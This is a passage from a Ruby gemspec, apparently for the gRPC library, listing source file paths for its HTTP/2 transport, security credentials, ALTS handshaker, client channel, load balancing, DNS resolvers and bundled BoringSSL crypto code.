s.files += %w( src/core/ext/transport/chttp2/transport/hpack_table.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/http2_settings.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/huffsyms.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/incoming_metadata.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/parsing.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/stream_lists.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/stream_map.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/varint.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/writing.cc )
s.files += %w( src/core/ext/transport/chttp2/alpn/alpn.cc )
s.files += %w( src/core/ext/filters/http/client/http_client_filter.cc )
s.files += %w( src/core/ext/filters/http/http_filters_plugin.cc )
s.files += %w( src/core/ext/filters/http/message_compress/message_compress_filter.cc )
s.files += %w( src/core/ext/filters/http/server/http_server_filter.cc )
s.files += %w( src/core/lib/http/httpcli_security_connector.cc )
s.files += %w( src/core/lib/security/context/security_context.cc )
s.files += %w( src/core/lib/security/credentials/alts/alts_credentials.cc )
s.files += %w( src/core/lib/security/credentials/composite/composite_credentials.cc )
s.files += %w( src/core/lib/security/credentials/credentials.cc )
s.files += %w( src/core/lib/security/credentials/credentials_metadata.cc )
s.files += %w( src/core/lib/security/credentials/fake/fake_credentials.cc )
s.files += %w( src/core/lib/security/credentials/google_default/credentials_generic.cc )
s.files += %w( src/core/lib/security/credentials/google_default/google_default_credentials.cc )
s.files += %w( src/core/lib/security/credentials/iam/iam_credentials.cc )
s.files += %w( src/core/lib/security/credentials/jwt/json_token.cc )
s.files += %w( src/core/lib/security/credentials/jwt/jwt_credentials.cc )
s.files += %w( src/core/lib/security/credentials/jwt/jwt_verifier.cc )
s.files += %w( src/core/lib/security/credentials/local/local_credentials.cc )
s.files += %w( src/core/lib/security/credentials/oauth2/oauth2_credentials.cc )
s.files += %w( src/core/lib/security/credentials/plugin/plugin_credentials.cc )
s.files += %w( src/core/lib/security/credentials/ssl/ssl_credentials.cc )
s.files += %w( src/core/lib/security/credentials/tls/grpc_tls_credentials_options.cc )
s.files += %w( src/core/lib/security/credentials/tls/spiffe_credentials.cc )
s.files += %w( src/core/lib/security/security_connector/alts/alts_security_connector.cc )
s.files += %w( src/core/lib/security/security_connector/fake/fake_security_connector.cc )
s.files += %w( src/core/lib/security/security_connector/load_system_roots_fallback.cc )
s.files += %w( src/core/lib/security/security_connector/load_system_roots_linux.cc )
s.files += %w( src/core/lib/security/security_connector/local/local_security_connector.cc )
s.files += %w( src/core/lib/security/security_connector/security_connector.cc )
s.files += %w( src/core/lib/security/security_connector/ssl/ssl_security_connector.cc )
s.files += %w( src/core/lib/security/security_connector/ssl_utils.cc )
s.files += %w( src/core/lib/security/security_connector/tls/spiffe_security_connector.cc )
s.files += %w( src/core/lib/security/transport/client_auth_filter.cc )
s.files += %w( src/core/lib/security/transport/secure_endpoint.cc )
s.files += %w( src/core/lib/security/transport/security_handshaker.cc )
s.files += %w( src/core/lib/security/transport/server_auth_filter.cc )
s.files += %w( src/core/lib/security/transport/target_authority_table.cc )
s.files += %w( src/core/lib/security/transport/tsi_error.cc )
s.files += %w( src/core/lib/security/util/json_util.cc )
s.files += %w( src/core/lib/surface/init_secure.cc )
s.files += %w( src/core/tsi/alts/crypt/aes_gcm.cc )
s.files += %w( src/core/tsi/alts/crypt/gsec.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_counter.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_crypter.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_frame_protector.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_record_protocol_crypter_common.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_seal_privacy_integrity_crypter.cc )
s.files += %w( src/core/tsi/alts/frame_protector/alts_unseal_privacy_integrity_crypter.cc )
s.files += %w( src/core/tsi/alts/frame_protector/frame_handler.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_client.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_shared_resource.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_tsi_handshaker.cc )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_integrity_only_record_protocol.cc )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_privacy_integrity_record_protocol.cc )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_record_protocol_common.cc )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_iovec_record_protocol.cc )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_zero_copy_grpc_protector.cc )
s.files += %w( src/core/lib/security/credentials/alts/check_gcp_environment.cc )
s.files += %w( src/core/lib/security/credentials/alts/check_gcp_environment_linux.cc )
s.files += %w( src/core/lib/security/credentials/alts/check_gcp_environment_no_op.cc )
s.files += %w( src/core/lib/security/credentials/alts/check_gcp_environment_windows.cc )
s.files += %w( src/core/lib/security/credentials/alts/grpc_alts_credentials_client_options.cc )
s.files += %w( src/core/lib/security/credentials/alts/grpc_alts_credentials_options.cc )
s.files += %w( src/core/lib/security/credentials/alts/grpc_alts_credentials_server_options.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_service_api.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_service_api_util.cc )
s.files += %w( src/core/tsi/alts/handshaker/alts_tsi_utils.cc )
s.files += %w( src/core/tsi/alts/handshaker/transport_security_common_api.cc )
s.files += %w( src/core/tsi/alts/handshaker/altscontext.pb.c )
s.files += %w( src/core/tsi/alts/handshaker/handshaker.pb.c )
s.files += %w( src/core/tsi/alts/handshaker/transport_security_common.pb.c )
s.files += %w( third_party/nanopb/pb_common.c )
s.files += %w( third_party/nanopb/pb_decode.c )
s.files += %w( third_party/nanopb/pb_encode.c )
s.files += %w( src/core/tsi/transport_security.cc )
s.files += %w( src/core/ext/transport/chttp2/client/insecure/channel_create.cc )
s.files += %w( src/core/ext/transport/chttp2/client/insecure/channel_create_posix.cc )
s.files += %w( src/core/ext/transport/chttp2/client/authority.cc )
s.files += %w( src/core/ext/transport/chttp2/client/chttp2_connector.cc )
s.files += %w( src/core/ext/filters/client_channel/backup_poller.cc )
s.files += %w( src/core/ext/filters/client_channel/channel_connectivity.cc )
s.files += %w( src/core/ext/filters/client_channel/client_channel.cc )
s.files += %w( src/core/ext/filters/client_channel/client_channel_channelz.cc )
s.files += %w( src/core/ext/filters/client_channel/client_channel_factory.cc )
s.files += %w( src/core/ext/filters/client_channel/client_channel_plugin.cc )
s.files += %w( src/core/ext/filters/client_channel/connector.cc )
s.files += %w( src/core/ext/filters/client_channel/global_subchannel_pool.cc )
s.files += %w( src/core/ext/filters/client_channel/health/health_check_client.cc )
s.files += %w( src/core/ext/filters/client_channel/http_connect_handshaker.cc )
s.files += %w( src/core/ext/filters/client_channel/http_proxy.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy_registry.cc )
s.files += %w( src/core/ext/filters/client_channel/local_subchannel_pool.cc )
s.files += %w( src/core/ext/filters/client_channel/parse_address.cc )
s.files += %w( src/core/ext/filters/client_channel/proxy_mapper.cc )
s.files += %w( src/core/ext/filters/client_channel/proxy_mapper_registry.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver_registry.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver_result_parsing.cc )
s.files += %w( src/core/ext/filters/client_channel/resolving_lb_policy.cc )
s.files += %w( src/core/ext/filters/client_channel/retry_throttle.cc )
s.files += %w( src/core/ext/filters/client_channel/server_address.cc )
s.files += %w( src/core/ext/filters/client_channel/service_config.cc )
s.files += %w( src/core/ext/filters/client_channel/subchannel.cc )
s.files += %w( src/core/ext/filters/client_channel/subchannel_pool_interface.cc )
s.files += %w( src/core/ext/filters/deadline/deadline_filter.cc )
s.files += %w( src/core/ext/filters/client_channel/health/health.pb.c )
s.files += %w( src/core/tsi/fake_transport_security.cc )
s.files += %w( src/core/tsi/local_transport_security.cc )
s.files += %w( src/core/tsi/ssl/session_cache/ssl_session_boringssl.cc )
s.files += %w( src/core/tsi/ssl/session_cache/ssl_session_cache.cc )
s.files += %w( src/core/tsi/ssl/session_cache/ssl_session_openssl.cc )
s.files += %w( src/core/tsi/ssl_transport_security.cc )
s.files += %w( src/core/tsi/transport_security_grpc.cc )
s.files += %w( src/core/ext/transport/chttp2/server/chttp2_server.cc )
s.files += %w( src/core/ext/transport/chttp2/client/secure/secure_channel_create.cc )
s.files += %w( src/core/ext/transport/chttp2/server/insecure/server_chttp2.cc )
s.files += %w( src/core/ext/transport/chttp2/server/insecure/server_chttp2_posix.cc )
s.files += %w( src/core/ext/transport/inproc/inproc_plugin.cc )
s.files += %w( src/core/ext/transport/inproc/inproc_transport.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/client_load_reporting_filter.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_channel_secure.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_client_stats.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/load_balancer_api.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/fake/fake_resolver.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/google/protobuf/duration.pb.c )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/google/protobuf/timestamp.pb.c )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/load_balancer.pb.c )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_channel_secure.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_client_stats.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_load_balancer_api.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/pick_first/pick_first.cc )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/round_robin/round_robin.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/dns_resolver_ares.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_ev_driver.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_ev_driver_libuv.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_ev_driver_posix.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_ev_driver_windows.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper_fallback.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper_libuv.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper_posix.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper_windows.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/dns_resolver_selection.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/native/dns_resolver.cc )
s.files += %w( src/core/ext/filters/client_channel/resolver/sockaddr/sockaddr_resolver.cc )
s.files += %w( src/core/ext/filters/census/grpc_context.cc )
s.files += %w( src/core/ext/filters/max_age/max_age_filter.cc )
s.files += %w( src/core/ext/filters/message_size/message_size_filter.cc )
s.files += %w( src/core/ext/filters/http/client_authority_filter.cc )
s.files += %w( src/core/ext/filters/workarounds/workaround_cronet_compression_filter.cc )
s.files += %w( src/core/ext/filters/workarounds/workaround_utils.cc )
s.files += %w( src/core/plugin_registry/grpc_plugin_registry.cc )
s.files += %w( third_party/boringssl/crypto/asn1/asn1_locl.h )
s.files += %w( third_party/boringssl/crypto/bio/internal.h )
s.files += %w( third_party/boringssl/crypto/bytestring/internal.h )
s.files += %w( third_party/boringssl/crypto/cipher_extra/internal.h )
s.files += %w( third_party/boringssl/crypto/conf/conf_def.h )
s.files += %w( third_party/boringssl/crypto/conf/internal.h )
s.files += %w( third_party/boringssl/crypto/err/internal.h )
s.files += %w( third_party/boringssl/crypto/evp/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/aes/aes.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/aes/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/aes/key_wrap.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/aes/mode_wrappers.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/add.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/asm/x86_64-gcc.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/bn.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/bytes.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/cmp.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/ctx.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/div.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/exponentiation.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/gcd.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/generic.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/jacobi.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/montgomery.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/montgomery_inv.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/mul.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/prime.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/random.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/rsaz_exp.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/rsaz_exp.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/shift.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bn/sqrt.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/cipher/aead.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/cipher/cipher.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/cipher/e_aes.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/cipher/e_des.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/cipher/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/delocate.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/des/des.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/des/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/digest/digest.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/digest/digests.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/digest/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/digest/md32_common.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/ec.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/ec_key.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/ec_montgomery.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/oct.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/p224-64.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/p256-x86_64-table.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/p256-x86_64.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/p256-x86_64.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/simple.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/util.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ec/wnaf.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/ecdsa/ecdsa.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/hmac/hmac.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/md4/md4.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/md5/md5.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/cbc.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/ccm.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/cfb.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/ctr.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/gcm.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/ofb.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/modes/polyval.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rand/ctrdrbg.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rand/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rand/rand.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rand/urandom.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rsa/blinding.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rsa/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rsa/padding.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rsa/rsa.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/rsa/rsa_impl.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/self_check/self_check.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/sha/sha1-altivec.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/sha/sha1.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/sha/sha256.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/sha/sha512.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/tls/internal.h )
s.files += %w( third_party/boringssl/crypto/fipsmodule/tls/kdf.c )
s.files += %w( third_party/boringssl/crypto/internal.h )
s.files += %w( third_party/boringssl/crypto/obj/obj_dat.h )
s.files += %w( third_party/boringssl/crypto/pkcs7/internal.h )
s.files += %w( third_party/boringssl/crypto/pkcs8/internal.h )
s.files += %w( third_party/boringssl/crypto/poly1305/internal.h )
s.files += %w( third_party/boringssl/crypto/pool/internal.h )
s.files += %w( third_party/boringssl/crypto/x509/charmap.h )
s.files += %w( third_party/boringssl/crypto/x509/internal.h )
s.files += %w( third_party/boringssl/crypto/x509/vpm_int.h )
s.files += %w( third_party/boringssl/crypto/x509v3/ext_dat.h )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_int.h )
s.files += %w( third_party/boringssl/include/openssl/aead.h )
s.files += %w( third_party/boringssl/include/openssl/aes.h )
s.files += %w( third_party/boringssl/include/openssl/arm_arch.h )
s.files += %w( third_party/boringssl/include/openssl/asn1.h )
s.files += %w( third_party/boringssl/include/openssl/asn1_mac.h )
s.files += %w( third_party/boringssl/include/openssl/asn1t.h )
s.files += %w( third_party/boringssl/include/openssl/base.h )
s.files += %w( third_party/boringssl/include/openssl/base64.h )
s.files += %w( third_party/boringssl/include/openssl/bio.h )
s.files += %w( third_party/boringssl/include/openssl/blowfish.h )
s.files += %w( third_party/boringssl/include/openssl/bn.h )
s.files += %w( third_party/boringssl/include/openssl/buf.h )
s.files += %w( third_party/boringssl/include/openssl/buffer.h )
s.files += %w( third_party/boringssl/include/openssl/bytestring.h )
s.files += %w( third_party/boringssl/include/openssl/cast.h )
s.files += %w( third_party/boringssl/include/openssl/chacha.h )
s.files += %w( third_party/boringssl/include/openssl/cipher.h )
s.files += %w( third_party/boringssl/include/openssl/cmac.h )
s.files += %w( third_party/boringssl/include/openssl/conf.h )
s.files += %w( third_party/boringssl/include/openssl/cpu.h )
s.files += %w( third_party/boringssl/include/openssl/crypto.h )
s.files += %w( third_party/boringssl/include/openssl/curve25519.h )
s.files += %w( third_party/boringssl/include/openssl/des.h )
s.files += %w( third_party/boringssl/include/openssl/dh.h )
s.files += %w( third_party/boringssl/include/openssl/digest.h )
s.files += %w( third_party/boringssl/include/openssl/dsa.h )
s.files += %w( third_party/boringssl/include/openssl/dtls1.h )
s.files += %w( third_party/boringssl/include/openssl/ec.h )
s.files += %w( third_party/boringssl/include/openssl/ec_key.h )
s.files += %w( third_party/boringssl/include/openssl/ecdh.h )
s.files += %w( third_party/boringssl/include/openssl/ecdsa.h )
s.files += %w( third_party/boringssl/include/openssl/engine.h )
s.files += %w( third_party/boringssl/include/openssl/err.h )
s.files += %w( third_party/boringssl/include/openssl/evp.h )
s.files += %w( third_party/boringssl/include/openssl/ex_data.h )
s.files += %w( third_party/boringssl/include/openssl/hkdf.h )
s.files += %w( third_party/boringssl/include/openssl/hmac.h )
s.files += %w( third_party/boringssl/include/openssl/is_boringssl.h )
s.files += %w( third_party/boringssl/include/openssl/lhash.h )
s.files += %w( third_party/boringssl/include/openssl/lhash_macros.h )
s.files += %w( third_party/boringssl/include/openssl/md4.h )
s.files += %w( third_party/boringssl/include/openssl/md5.h )
s.files += %w( third_party/boringssl/include/openssl/mem.h )
s.files += %w( third_party/boringssl/include/openssl/nid.h )
s.files += %w( third_party/boringssl/include/openssl/obj.h )
s.files += %w( third_party/boringssl/include/openssl/obj_mac.h )
s.files += %w( third_party/boringssl/include/openssl/objects.h )
s.files += %w( third_party/boringssl/include/openssl/opensslconf.h )
s.files += %w( third_party/boringssl/include/openssl/opensslv.h )
s.files += %w( third_party/boringssl/include/openssl/ossl_typ.h )
s.files += %w( third_party/boringssl/include/openssl/pem.h )
s.files += %w( third_party/boringssl/include/openssl/pkcs12.h )
s.files += %w( third_party/boringssl/include/openssl/pkcs7.h )
s.files += %w( third_party/boringssl/include/openssl/pkcs8.h )
s.files += %w( third_party/boringssl/include/openssl/poly1305.h )
s.files += %w( third_party/boringssl/include/openssl/pool.h )
s.files += %w( third_party/boringssl/include/openssl/rand.h )
s.files += %w( third_party/boringssl/include/openssl/rc4.h )
s.files += %w( third_party/boringssl/include/openssl/ripemd.h )
s.files += %w( third_party/boringssl/include/openssl/rsa.h )
s.files += %w( third_party/boringssl/include/openssl/safestack.h )
s.files += %w( third_party/boringssl/include/openssl/sha.h )
s.files += %w( third_party/boringssl/include/openssl/span.h )
s.files += %w( third_party/boringssl/include/openssl/srtp.h )
s.files += %w( third_party/boringssl/include/openssl/ssl.h )
s.files += %w( third_party/boringssl/include/openssl/ssl3.h )
s.files += %w( third_party/boringssl/include/openssl/stack.h )
s.files += %w( third_party/boringssl/include/openssl/thread.h )
s.files += %w( third_party/boringssl/include/openssl/tls1.h )
s.files += %w( third_party/boringssl/include/openssl/type_check.h )
s.files += %w( third_party/boringssl/include/openssl/x509.h )
s.files += %w( third_party/boringssl/include/openssl/x509_vfy.h )
s.files += %w( third_party/boringssl/include/openssl/x509v3.h )
s.files += %w( third_party/boringssl/ssl/internal.h )
s.files += %w( third_party/boringssl/third_party/fiat/curve25519_tables.h )
s.files += %w( third_party/boringssl/third_party/fiat/internal.h )
s.files += %w( third_party/boringssl/third_party/fiat/p256.c )
s.files += %w( src/boringssl/err_data.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_bitstr.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_bool.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_d2i_fp.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_dup.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_enum.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_gentm.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_i2d_fp.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_int.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_mbstr.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_object.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_octet.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_print.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_strnid.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_time.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_type.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_utctm.c )
s.files += %w( third_party/boringssl/crypto/asn1/a_utf8.c )
s.files += %w( third_party/boringssl/crypto/asn1/asn1_lib.c )
s.files += %w( third_party/boringssl/crypto/asn1/asn1_par.c )
s.files += %w( third_party/boringssl/crypto/asn1/asn_pack.c )
s.files += %w( third_party/boringssl/crypto/asn1/f_enum.c )
s.files += %w( third_party/boringssl/crypto/asn1/f_int.c )
s.files += %w( third_party/boringssl/crypto/asn1/f_string.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_dec.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_enc.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_fre.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_new.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_typ.c )
s.files += %w( third_party/boringssl/crypto/asn1/tasn_utl.c )
s.files += %w( third_party/boringssl/crypto/asn1/time_support.c )
s.files += %w( third_party/boringssl/crypto/base64/base64.c )
s.files += %w( third_party/boringssl/crypto/bio/bio.c )
s.files += %w( third_party/boringssl/crypto/bio/bio_mem.c )
s.files += %w( third_party/boringssl/crypto/bio/connect.c )
s.files += %w( third_party/boringssl/crypto/bio/fd.c )
s.files += %w( third_party/boringssl/crypto/bio/file.c )
s.files += %w( third_party/boringssl/crypto/bio/hexdump.c )
s.files += %w( third_party/boringssl/crypto/bio/pair.c )
s.files += %w( third_party/boringssl/crypto/bio/printf.c )
s.files += %w( third_party/boringssl/crypto/bio/socket.c )
s.files += %w( third_party/boringssl/crypto/bio/socket_helper.c )
s.files += %w( third_party/boringssl/crypto/bn_extra/bn_asn1.c )
s.files += %w( third_party/boringssl/crypto/bn_extra/convert.c )
s.files += %w( third_party/boringssl/crypto/buf/buf.c )
s.files += %w( third_party/boringssl/crypto/bytestring/asn1_compat.c )
s.files += %w( third_party/boringssl/crypto/bytestring/ber.c )
s.files += %w( third_party/boringssl/crypto/bytestring/cbb.c )
s.files += %w( third_party/boringssl/crypto/bytestring/cbs.c )
s.files += %w( third_party/boringssl/crypto/chacha/chacha.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/cipher_extra.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/derive_key.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_aesccm.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_aesctrhmac.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_aesgcmsiv.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_chacha20poly1305.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_null.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_rc2.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_rc4.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_ssl3.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/e_tls.c )
s.files += %w( third_party/boringssl/crypto/cipher_extra/tls_cbc.c )
s.files += %w( third_party/boringssl/crypto/cmac/cmac.c )
s.files += %w( third_party/boringssl/crypto/conf/conf.c )
s.files += %w( third_party/boringssl/crypto/cpu-aarch64-fuchsia.c )
s.files += %w( third_party/boringssl/crypto/cpu-aarch64-linux.c )
s.files += %w( third_party/boringssl/crypto/cpu-arm-linux.c )
s.files += %w( third_party/boringssl/crypto/cpu-arm.c )
s.files += %w( third_party/boringssl/crypto/cpu-intel.c )
s.files += %w( third_party/boringssl/crypto/cpu-ppc64le.c )
s.files += %w( third_party/boringssl/crypto/crypto.c )
s.files += %w( third_party/boringssl/crypto/curve25519/spake25519.c )
s.files += %w( third_party/boringssl/crypto/dh/check.c )
s.files += %w( third_party/boringssl/crypto/dh/dh.c )
s.files += %w( third_party/boringssl/crypto/dh/dh_asn1.c )
s.files += %w( third_party/boringssl/crypto/dh/params.c )
s.files += %w( third_party/boringssl/crypto/digest_extra/digest_extra.c )
s.files += %w( third_party/boringssl/crypto/dsa/dsa.c )
s.files += %w( third_party/boringssl/crypto/dsa/dsa_asn1.c )
s.files += %w( third_party/boringssl/crypto/ec_extra/ec_asn1.c )
s.files += %w( third_party/boringssl/crypto/ecdh/ecdh.c )
s.files += %w( third_party/boringssl/crypto/ecdsa_extra/ecdsa_asn1.c )
s.files += %w( third_party/boringssl/crypto/engine/engine.c )
s.files += %w( third_party/boringssl/crypto/err/err.c )
s.files += %w( third_party/boringssl/crypto/evp/digestsign.c )
s.files += %w( third_party/boringssl/crypto/evp/evp.c )
s.files += %w( third_party/boringssl/crypto/evp/evp_asn1.c )
s.files += %w( third_party/boringssl/crypto/evp/evp_ctx.c )
s.files += %w( third_party/boringssl/crypto/evp/p_dsa_asn1.c )
s.files += %w( third_party/boringssl/crypto/evp/p_ec.c )
s.files += %w( third_party/boringssl/crypto/evp/p_ec_asn1.c )
s.files += %w( third_party/boringssl/crypto/evp/p_ed25519.c )
s.files += %w( third_party/boringssl/crypto/evp/p_ed25519_asn1.c )
s.files += %w( third_party/boringssl/crypto/evp/p_rsa.c )
s.files += %w( third_party/boringssl/crypto/evp/p_rsa_asn1.c )
s.files += %w( third_party/boringssl/crypto/evp/pbkdf.c )
